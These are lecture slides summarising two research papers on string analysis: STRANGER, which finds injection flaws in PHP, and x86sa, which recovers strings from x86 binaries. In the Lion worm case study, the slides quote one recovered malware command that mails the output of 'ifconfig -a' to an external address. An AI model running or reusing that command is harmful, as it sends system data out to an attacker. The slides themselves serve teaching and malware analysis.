Malicious Code Analysis II
STRANGER: An Automata-based String Analysis Tool for PHP
String Analysis for x86 Binaries

Mitchell Adair

November 28th, 2011
Outline

1. STRANGER

2. String Analysis for x86 Binaries
1 STRANGER

2 String Analysis for x86 Binaries
STRANGER: An Automata-based String Analysis Tool for PHP *

Fang Yu, Muath Alkhalaf, and Tevfik Bultan

Department of Computer Science
University of California, Santa Barbara, CA, USA
{yuf, muath, bultan}@cs.ucsb.edu

Credit: [STRANGER: An Automata-based String Analysis Tool for PHP]
STRANGER : An Automata-based String Analysis Tool for PHP

STRANGER is an automata-based string analysis tool for finding and eliminating string-related security vulnerabilities in PHP applications.

- Uses symbolic forward and backward reachability analyses to compute the possible values that the string expressions can take during program execution.
Background

Why Audit PHP?

- Web applications provide critical services and handle sensitive data
- Web application development is error prone
- Global Accessibility of web applications
Background

OWASP Top 10

1. Cross Site Scripting (XSS)
2. Injection Flaws (Such as SQL)
3. Malicious File Execution (RFI, LFI, etc.)

All of these are string vulnerabilities, stemming from a lack of sanitization.
Introduction

STRing AutomatoN GEneratoR

Used to check the correctness of string manipulation operations in web applications
- Automata-based approach
- Uses symbolic analysis

String Analysis

Static analysis technique that determines the values that a string expression can take during program execution at a given program point
Introduction

How

- STRANGER encodes the set of string values that string variables can take as deterministic finite automata (DFAs).
- STRANGER implements all string manipulation functions using a symbolic automata representation

Capabilities

STRANGER combines forward and backward reachability analyses and is capable of:

1. Checking the correctness of sanitization routines and proving that programs are free from specified attacks
2. Identifying vulnerable programs, as well as generating non-trivial vulnerability signatures
Forward Reachability Analysis

Allows STRANGER to identify all possible values string variables can take at each program point

- If this approximation does **not** contain any attack pattern, STRANGER concludes the program does not have any vulnerabilities
Forward Reachability

If the approximation **does** include an attack pattern
- Intersecting the approximation with the attack pattern yields the potential attack strings

Using Backward Analysis

STRANGER generates vulnerability signatures.
- A characterization of all malicious inputs that can be used to generate attack strings
Tool Description

- Uses Pixy as a front end
- Uses MONA automata package for automata manipulation

Credit: [STRANGER: An Automata-based String Analysis Tool for PHP]
Tool Description

Input and Output

- IN : PHP program(s)
- OUT : Possible XSS, SQL, and MFE vulnerabilities
- OUT : Vulnerability signatures

The Vulnerability signatures are an automaton that characterizes all possible string values which may exploit the vulnerability.
PHP Parser and Taint Analyzer

Credit: [STRANGER: An Automata-based String Analysis Tool for PHP]
PHP Parser and Taint Analyzer

**Parser**
- Parse PHP Program and create control flow graph (CFG)
- Process each script by itself (along with all includes)

**Taint Analyzer**
- CFG passed to taint analyzer to generate dependency graphs
- Dependency graphs specify how inputs flow to a sensitive sink
- If **no** tainted data flows to the sink, dependency graph is secure
- Otherwise, dependency graph is tainted and passed to the string analyzer
String Analyzer

Credit: [STRANGER: An Automata-based String Analysis Tool for PHP]
String Analyzer

Purpose
Perform vulnerability analysis (forward and backward) on tainted dependency graphs
- Initialize input nodes to DFAs accepting arbitrary strings
- Propogates input to nodes in topological order

At completion
Intersect language of the DFA of the sink node with the attack pattern
The Intersection
- If it’s empty, the sink is not vulnerable with respect to the attack pattern
- Otherwise...

Backward Analysis
- Initialize sink node to DFA that accepts the language of the intersection
- Propagate data to nodes in reverse topological order

At completion, vulnerability signatures are generated for each input node
String Manipulation Library

Credit: [STRANGER: An Automata-based String Analysis Tool for PHP]
String Manipulation Library

Purpose

Handles all core string and automata operations

- Replacement, concatenation, union, intersection, etc.
- All operations during vulnerability analysis are sent to SML. SML executes operation then returns the result back as an automaton.
Experiments and Conclusions

Case Study

- Target: SimpGB-1.49.0, a PHP guestbook application
  - 153 PHP files
  - 44000+ lines of code
- System: Intel Core 2 Due 2.5 GHz with 4GB of memory, Ubuntu 8.04

Results

- 231 minutes to check XSS vulnerabilities
  - 304 possible vulnerabilities
- 175 minutes to check SQL vulnerabilities
  - 172 possible vulnerabilities
- 151 minutes to check MFE vulnerabilities
  - 26 possible vulnerabilities
Outline

1. STRANGER

2. String Analysis for x86 Binaries
String Analysis for x86 Binaries

Mihai Christodorescu
mihai@cs.wisc.edu

Nicholas Kidd
kidd@cs.wisc.edu

Wen-Han Goh
wen-han@cs.wisc.edu

Department of Computer Sciences
University of Wisconsin–Madison
Madison, WI, USA

Credit: [String Analysis for x86 Binaries]
Authors present a static-analysis technique for recovering possible string values in an executable program, when no debug information or source code is available.

- The result is a regular language.
- A superset of all string values at given program point.

Introduce a tool, x86sa, a practical implementation to analyze x86 binaries. Built on top of IDA.
Why care about strings?

Aid in understanding of a program
- Contain significant high-level information about the program
- Understand undocumented functionality
- Renovating, upgrading or replacing legacy code
- Analysis of malicious code
A program in executable format retains little detail beyond the actual semantics of the original source code.
The approach

- Build on top of existing work
  - Java String Analyzer (JSA) infrastructure

The major work is the identification of strings and operations applied to them.
String Analysis Overview

- Model the flow of strings through the program using a string flow graph structure
- Map string constant and operations to nodes in the string flow graph
- Assignment statements and call site arguments are represented as edges
String Analysis for x86 Executables

Analysis Techniques

Analyze a single function in a program and construct a string flow graph for C-style strings. To do this, perform 2 analysis techniques:

- String-inference analysis
- Stack-height analysis
String-Inference Analysis

Purpose

- Locate possible C-style strings

Basically doing type inference, on only the string type

Assumptions

- Strings in the x86 executable are C-style, null terminated
- All string operations use the libc string functions
String-Inference Analysis

```assembly
mov    ecx, [ebp+4]
push   ecx
mov    ebx, [ebp+8]
push   ebx
call   _strcat
add    esp, 8
```

Credit: [String Analysis for x86 Binaries]
String-Inference Analysis

- ecx and ebx contain string pointers before the call.
- eax (the return value) will hold a pointer after the call as well (matching ebx)

Using function signatures for libc string functions, string inference can be performed

Type information is then propagated backwards through the CFG
Stack-Height Analysis

Purpose

- Used to associate PUSH instruction with a function’s argument

Assumptions

1. The x86 executable uses the _cdecl calling convention
2. Function arguments are passed from the caller to the callee using the stack
A forward analysis is performed to locate the "cleanup" instruction
- Divide the cleanup size by x86 word size, gives the number of arguments

This knowledge is then passed to the inference step (previous)
String-Inference Analysis

```
mov ecx, [ebp+4]          - cleanup
push ecx
mov ebx, [ebp+8]          - 8/4 = 2
push ebx
call strcat
add esp, 8                - 2 arguments were passed to strcat
```

Credit: [String Analysis for x86 Binaries]
Construction of the String Flow Graph

How

- Forward traversal of the CSG used to translate the previous information into the string flow graph
  - At creation points (strcat, malloc, etc.), an appropriate flow graph node is created (INIT, CONCAT)
  - A source operand to a libc function is assigned an ASSIGN node
String-Inference Analysis

```c
int main() {
    char * c = "c";
    char * s = malloc(101);
    s[0] = '\0';
    for(int i=0; i<100; i++)
        strcat(s, c);
    printf(s); // ← hotspot
}
```

String Flow Graph

Credit: [String Analysis for x86 Binaries]
Evaluation

The C program in the previous slide generates the string $c^{100}$

**x86sa**

- After analysis, the string flow graph (previous slide) is fed to the JSA backend
- JSA returns the regular expression: $c^*$
  - Safe approximation, the loop is not interpreted
The Lion Worn

- Uses Linux rootkit, t0rn
- One of the components is a wrapper around the `crypt` function
- An interesting string is found by x86sa right before `execve`
Evaluation

'/sbin/ifconfig -a | /bin/mail angelz1578@usa.net

Credit: [String Analysis for x86 Binaries]

'strings' does not recognize this, because the string is built at runtime, byte at a time with calls to strcat
Future Work

- Provide cross-function analysis
- Provide more than C-tyle strings, such as Unicode
- Remove the limit of only libc modified strings